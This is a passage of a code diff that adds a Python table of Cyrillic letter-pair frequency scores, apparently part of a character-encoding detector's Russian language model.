'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 1, # 'ы' + 17: 1, # 'ь' + 30: 2, # 'э' + 27: 1, # 'ю' + 16: 1, # 'я' + }, + 48: { # 'Е' + 37: 1, # 'А' + 44: 1, # 'Б' + 33: 1, # 'В' + 46: 1, # 'Г' + 41: 1, # 'Д' + 48: 1, # 'Е' + 56: 1, # 'Ж' + 51: 1, # 'З' + 42: 1, # 'И' + 60: 1, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 2, # 'Н' + 34: 1, # 'О' + 35: 1, # 'П' + 45: 2, # 'Р' + 32: 2, # 'С' + 40: 1, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 1, # 'Х' + 58: 1, # 'Ц' + 50: 1, # 'Ч' + 57: 1, # 'Ш' + 63: 1, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 1, # 'Я' + 3: 0, # 'а' + 21: 0, # 'б' + 10: 2, # 'в' + 19: 2, # 'г' + 13: 2, # 'д' + 2: 2, # 'е' + 24: 1, # 'ж' + 20: 1, # 'з' + 4: 0, # 'и' + 23: 2, # 'й' + 11: 1, # 'к' + 8: 2, # 'л' + 12: 2, # 'м' + 5: 1, # 'н' + 1: 0, # 'о' + 15: 1, # 'п' + 9: 1, # 'р' + 7: 3, # 'с' + 6: 0, # 'т' + 14: 0, # 'у' + 39: 1, # 'ф' + 26: 1, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 1, # 'ш' + 29: 2, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 1, # 'ю' + 16: 0, # 'я' + }, + 56: { # 'Ж' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 1, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 1, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 2, # 'а' + 21: 1, # 'б' + 10: 0, # 'в' + 19: 1, # 'г' + 13: 1, # 'д' + 2: 2, # 'е' + 24: 1, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 0, # 'л' + 12: 1, # 'м' + 5: 0, # 'н' + 1: 2, # 'о' + 15: 0, # 'п' + 9: 1, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 2, # 'ю' + 16: 0, # 'я' + }, + 51: { # 'З' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 1, # 'В' + 46: 1, # 'Г' + 41: 1, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 0, # 'П' + 45: 1, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 1, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 1, # 'б' + 10: 2, # 'в' + 19: 0, # 'г' + 13: 2, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 1, # 'л' + 12: 1, # 'м' + 5: 2, # 'н' + 1: 2, # 'о' + 15: 0, # 'п' + 9: 1, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 1, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 1, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 1, # 'я' + }, + 42: { # 'И' + 37: 1, # 'А' + 44: 1, # 'Б' + 33: 1, # 'В' + 46: 1, # 'Г' + 41: 1, # 'Д' + 48: 2, # 'Е' + 56: 1, # 'Ж' + 51: 1, # 'З' + 42: 1, # 'И' + 60: 1, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 1, # 'П' + 45: 1, # 'Р' + 32: 2, # 'С' + 40: 1, # 'Т' + 52: 0, # 'У' + 53: 1, # 'Ф' + 55: 1, # 'Х' + 58: 1, # 'Ц' + 50: 1, # 'Ч' + 57: 0, # 'Ш' + 63: 1, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 1, # 'Ю' + 43: 1, # 'Я' + 3: 1, # 'а' + 21: 2, # 'б' + 10: 2, # 'в' + 19: 2, # 'г' + 13: 2, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 2, # 'з' + 4: 1, # 'и' + 23: 0, # 'й' + 11: 1, # 'к' + 8: 2, # 'л' + 12: 2, # 'м' + 5: 2, # 'н' + 1: 1, # 'о' + 15: 1, # 'п' + 9: 2, # 'р' + 7: 2, # 'с' + 6: 2, # 'т' + 14: 1, # 'у' + 39: 1, # 'ф' + 26: 2, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 1, # 'ш' + 29: 1, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 1, # 'ю' + 16: 0, # 'я' + }, + 60: { # 'Й' + 37: 0, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 1, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 0, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 1, # 'Х' + 58: 1, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 0, # 'а' + 21: 0, # 'б' + 10: 0, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 1, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 0, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 0, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 2, # 'о' + 15: 0, # 'п' + 9: 0, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 0, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 36: { # 'К' + 37: 2, # 'А' + 44: 0, # 'Б' + 33: 1, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 1, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 1, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 2, # 'О' + 35: 1, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 1, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 0, # 'б' + 10: 1, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 2, # 'л' + 12: 0, # 'м' + 5: 1, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 2, # 'р' + 7: 2, # 'с' + 6: 2, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 1, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 1, # 'ы' + 17: 1, # 'ь' + 30: 2, # 'э' + 27: 1, # 'ю' + 16: 0, # 'я' + }, + 49: { # 'Л' + 37: 2, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 1, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 1, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 0, # 'Н' + 34: 1, # 'О' + 35: 1, # 'П' + 45: 0, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 1, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 1, # 'Ь' + 47: 0, # 'Э' + 59: 1, # 'Ю' + 43: 1, # 'Я' + 3: 2, # 'а' + 21: 0, # 'б' + 10: 0, # 'в' + 19: 1, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 1, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 1, # 'л' + 12: 0, # 'м' + 5: 1, # 'н' + 1: 2, # 'о' + 15: 0, # 'п' + 9: 0, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 1, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 1, # 'ы' + 17: 1, # 'ь' + 30: 2, # 'э' + 27: 2, # 'ю' + 16: 1, # 'я' + }, + 38: { # 'М' + 37: 1, # 'А' + 44: 1, # 'Б' + 33: 1, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 1, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 1, # 'У' + 53: 1, # 'Ф' + 55: 1, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 0, # 'Ь' + 47: 1, # 'Э' + 59: 0, # 'Ю' + 43: 1, # 'Я' + 3: 3, # 'а' + 21: 0, # 'б' + 10: 0, # 'в' + 19: 1, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 1, # 'л' + 12: 1, # 'м' + 5: 2, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 1, # 'р' + 7: 1, # 'с' + 6: 0, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 3, # 'ы' + 17: 1, # 'ь' + 30: 2, # 'э' + 27: 1, # 'ю' + 16: 1, # 'я' + }, + 31: { # 'Н' + 37: 2, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 1, # 'Г' + 41: 1, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 1, # 'З' + 42: 2, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 0, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 1, # 'У' + 53: 1, # 'Ф' + 55: 1, # 'Х' + 58: 1, # 'Ц' + 50: 1, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 1, # 'Ь' + 47: 1, # 'Э' + 59: 0, # 'Ю' + 43: 1, # 'Я' + 3: 3, # 'а' + 21: 0, # 'б' + 10: 0, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 3, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 3, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 0, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 1, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 3, # 'у' + 39: 0, # 'ф' + 26: 1, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 1, # 'ы' + 17: 2, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 1, # 'я' + }, + 34: { # 'О' + 37: 0, # 'А' + 44: 1, # 'Б' + 33: 1, # 'В' + 46: 1, # 'Г' + 41: 2, # 'Д' + 48: 1, # 'Е' + 56: 1, # 'Ж' + 51: 1, # 'З' + 42: 1, # 'И' + 60: 1, # 'Й' + 36: 1, # 'К' + 49: 2, # 'Л' + 38: 1, # 'М' + 31: 2, # 'Н' + 34: 1, # 'О' + 35: 1, # 'П' + 45: 2, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 1, # 'У' + 53: 1, # 'Ф' + 55: 1, # 'Х' + 58: 0, # 'Ц' + 50: 1, # 'Ч' + 57: 1, # 'Ш' + 63: 1, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 1, # 'Я' + 3: 1, # 'а' + 21: 2, # 'б' + 10: 1, # 'в' + 19: 2, # 'г' + 13: 2, # 'д' + 2: 0, # 'е' + 24: 1, # 'ж' + 20: 1, # 'з' + 4: 0, # 'и' + 23: 1, # 'й' + 11: 2, # 'к' + 8: 2, # 'л' + 12: 1, # 'м' + 5: 3, # 'н' + 1: 0, # 'о' + 15: 2, # 'п' + 9: 2, # 'р' + 7: 2, # 'с' + 6: 2, # 'т' + 14: 1, # 'у' + 39: 1, # 'ф' + 26: 2, # 'х' + 28: 1, # 'ц' + 22: 2, # 'ч' + 25: 2, # 'ш' + 29: 1, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 35: { # 'П' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 1, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 1, # 'П' + 45: 2, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 1, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 1, # 'Я' + 3: 2, # 'а' + 21: 0, # 'б' + 10: 0, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 2, # 'л' + 12: 0, # 'м' + 5: 1, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 3, # 'р' + 7: 1, # 'с' + 6: 1, # 'т' + 14: 2, # 'у' + 39: 1, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 1, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 1, # 'ы' + 17: 2, # 'ь' + 30: 1, # 'э' + 27: 0, # 'ю' + 16: 2, # 'я' + }, + 45: { # 'Р' + 37: 2, # 'А' + 44: 1, # 'Б' + 33: 1, # 'В' + 46: 1, # 'Г' + 41: 1, # 'Д' + 48: 2, # 'Е' + 56: 1, # 'Ж' + 51: 0, # 'З' + 42: 2, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 2, # 'О' + 35: 0, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 1, # 'Х' + 58: 1, # 'Ц' + 50: 1, # 'Ч' + 57: 1, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 1, # 'Ь' + 47: 1, # 'Э' + 59: 1, # 'Ю' + 43: 1, # 'Я' + 3: 3, # 'а' + 21: 0, # 'б' + 10: 1, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 1, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 0, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 1, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 2, # 'ы' + 17: 0, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 2, # 'я' + }, + 32: { # 'С' + 37: 1, # 'А' + 44: 1, # 'Б' + 33: 1, # 'В' + 46: 1, # 'Г' + 41: 1, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 1, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 2, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 1, # 'Х' + 58: 1, # 'Ц' + 50: 1, # 'Ч' + 57: 1, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 1, # 'Ь' + 47: 1, # 'Э' + 59: 1, # 'Ю' + 43: 1, # 'Я' + 3: 2, # 'а' + 21: 1, # 'б' + 10: 2, # 'в' + 19: 1, # 'г' + 13: 2, # 'д' + 2: 3, # 'е' + 24: 1, # 'ж' + 20: 1, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 2, # 'к' + 8: 2, # 'л' + 12: 2, # 'м' + 5: 2, # 'н' + 1: 2, # 'о' + 15: 2, # 'п' + 9: 2, # 'р' + 7: 1, # 'с' + 6: 3, # 'т' + 14: 2, # 'у' + 39: 1, # 'ф' + 26: 1, # 'х' + 28: 1, # 'ц' + 22: 1, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 1, # 'ъ' + 18: 1, # 'ы' + 17: 1, # 'ь' + 30: 2, # 'э' + 27: 1, # 'ю' + 16: 1, # 'я' + }, + 40: { # 'Т' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 1, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 2, # 'О' + 35: 0, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 1, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 1, # 'Ь' + 47: 1, # 'Э' + 59: 1, # 'Ю' + 43: 1, # 'Я' + 3: 3, # 'а' + 21: 1, # 'б' + 10: 2, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 3, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 1, # 'к' + 8: 1, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 2, # 'р' + 7: 1, # 'с' + 6: 0, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 1, # 'щ' + 54: 0, # 'ъ' + 18: 3, # 'ы' + 17: 1, # 'ь' + 30: 2, # 'э' + 27: 1, # 'ю' + 16: 1, # 'я' + }, + 52: { # 'У' + 37: 1, # 'А' + 44: 1, # 'Б' + 33: 1, # 'В' + 46: 1, # 'Г' + 41: 1, # 'Д' + 48: 1, # 'Е' + 56: 1, # 'Ж' + 51: 0, # 'З' + 42: 0, # 'И' + 60: 1, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 1, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 1, # 'Х' + 58: 0, # 'Ц' + 50: 1, # 'Ч' + 57: 1, # 'Ш' + 63: 1, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 1, # 'Ю' + 43: 0, # 'Я' + 3: 1, # 'а' + 21: 2, # 'б' + 10: 2, # 'в' + 19: 1, # 'г' + 13: 2, # 'д' + 2: 1, # 'е' + 24: 2, # 'ж' + 20: 2, # 'з' + 4: 2, # 'и' + 23: 1, # 'й' + 11: 1, # 'к' + 8: 2, # 'л' + 12: 2, # 'м' + 5: 1, # 'н' + 1: 2, # 'о' + 15: 1, # 'п' + 9: 2, # 'р' + 7: 2, # 'с' + 6: 2, # 'т' + 14: 0, # 'у' + 39: 1, # 'ф' + 26: 1, # 'х' + 28: 1, # 'ц' + 22: 2, # 'ч' + 25: 1, # 'ш' + 29: 1, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 2, # 'э' + 27: 1, # 'ю' + 16: 0, # 'я' + }, + 53: { # 'Ф' + 37: 1, # 'А' + 44: 1, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 1, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 1, # 'О' + 35: 0, # 'П' + 45: 1, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 2, # 'а' + 21: 0, # 'б' + 10: 0, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 2, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 2, # 'о' + 15: 0, # 'п' + 9: 2, # 'р' + 7: 0, # 'с' + 6: 1, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 1, # 'ь' + 30: 2, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 55: { # 'Х' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 1, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 0, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 2, # 'а' + 21: 0, # 'б' + 10: 2, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 2, # 'л' + 12: 1, # 'м' + 5: 0, # 'н' + 1: 2, # 'о' + 15: 0, # 'п' + 9: 2, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 1, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 1, # 'ь' + 30: 1, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 58: { # 'Ц' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 0, # 'Н' + 34: 1, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 1, # 'а' + 21: 0, # 'б' + 10: 1, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 0, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 0, # 'о' + 15: 0, # 'п' + 9: 0, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 1, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 1, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 1, # 'ю' + 16: 0, # 'я' + }, + 50: { # 'Ч' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 0, # 'О' + 35: 1, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 1, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 